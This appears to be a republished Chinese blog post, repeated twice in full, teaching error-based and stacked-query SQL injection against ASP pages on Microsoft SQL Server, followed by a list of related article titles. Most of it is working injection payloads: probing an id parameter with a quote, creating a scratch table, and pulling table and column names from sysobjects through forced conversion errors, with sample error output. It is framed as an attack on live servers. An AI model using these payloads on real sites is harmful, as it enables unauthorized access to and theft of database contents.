SQL指令碼注入的不常見方法概括
據庫存有一個副本。另處根據模板生成一個HTML頁面。
攻擊方法: 檢視原始檔/看裡面是否有通過JS來呼叫的頁面。如呼叫來更新文章的瀏覽次數。
我們就可以這樣來試一下可否注入: http://伺服器域名/count.asp?id=1552’
看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。
在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是一個好習慣)
post.htm內容:主要是方便輸入。
對於SQLSERVER的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是SQLSERVER
對於這類資料庫可以先建一個表id=1552; create table aaa(aaa char(20)); --
然後插入一條記錄:id=1552; insert into aaa values(’test’); --
再之後列舉出他的資料表名:
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0); --
這是將第一個表名更新到aaa的欄位處。
id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’
將 varchar 值 ’vote’ 轉換為資料型別為 int 的列時發生語法錯誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’); --
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),1)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),2)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
……類推
攻擊方法: 檢視原始檔/看裡面是否有通過JS來呼叫的頁面。如呼叫來更新文章的瀏覽次數。
我們就可以這樣來試一下可否注入: http://伺服器域名/count.asp?id=1552’
看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。
在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是一個好習慣)
post.htm內容:主要是方便輸入。
對於SQLSERVER的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是SQLSERVER
對於這類資料庫可以先建一個表id=1552; create table aaa(aaa char(20)); --
然後插入一條記錄:id=1552; insert into aaa values(’test’); --
再之後列舉出他的資料表名:
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0); --
這是將第一個表名更新到aaa的欄位處。
id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’
將 varchar 值 ’vote’ 轉換為資料型別為 int 的列時發生語法錯誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’); --
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),1)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),2)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
……類推
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-660414/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- ORACLE一些不常用的指令碼Oracle指令碼
- SQL隱碼攻擊之常見注入的步驟④SQL
- 常見sql注入原理詳解!SQL
- .Net防sql注入的方法總結SQL
- ViewStub的一些不常見的用法View
- JavaScript And Ajax(呈現指令碼塊、指令碼注入攻擊)JavaScript指令碼
- SQL Server映象自動生成指令碼方法SQLServer指令碼
- 網站被sql注入的修復方法網站SQL
- sql server中預設約束的通用sql指令碼的刪除方法SQLServer指令碼
- 程式碼注入的三種方法
- oracle awrsqrpt.sql 指令碼使用方法OracleSQL指令碼
- 使用sql生成sql指令碼SQL指令碼
- MySQL 及 SQL 注入與防範方法MySql
- js中Object那些不常用的方法JSObject
- MFC控制元件一些不常見的用法控制元件
- iOS使用shell指令碼注入混淆內容iOS指令碼
- SQL 的後計算指令碼SQL指令碼
- SQL 注入:聯合注入SQL
- sql注入之union注入SQL
- phpMyAdminsetup.php指令碼的任意PHP程式碼注入漏洞PHP指令碼
- sql注入SQL
- SQL 注入SQL
- 【SQL監控】SQL完全監控的指令碼SQL指令碼
- SQL Server停止指令碼SQLServer指令碼
- SQL 備份指令碼SQL指令碼
- 不常用卻很有妙用的事件及方法事件
- SQL隱碼攻擊-堆疊注入SQL
- React 原始碼中的依賴注入方法React原始碼依賴注入
- golang中一種不常見的switch語句寫法Golang
- [譯] 可用但最不常見的 HTML5 標籤HTML
- python指令碼處理偽靜態注入Python指令碼
- katoto站點被注入指令碼攻擊指令碼
- 使用shell指令碼生成只讀許可權的sql指令碼指令碼SQL
- 恢復 SQL 被注入後的資料程式碼SQL
- 建庫和表的指令碼.sql指令碼SQL
- 好用的show_space.sql指令碼SQL指令碼
- [筆記]OTN上的sql指令碼筆記SQL指令碼
- SQL隱碼攻擊原理——萬能密碼注入SQL密碼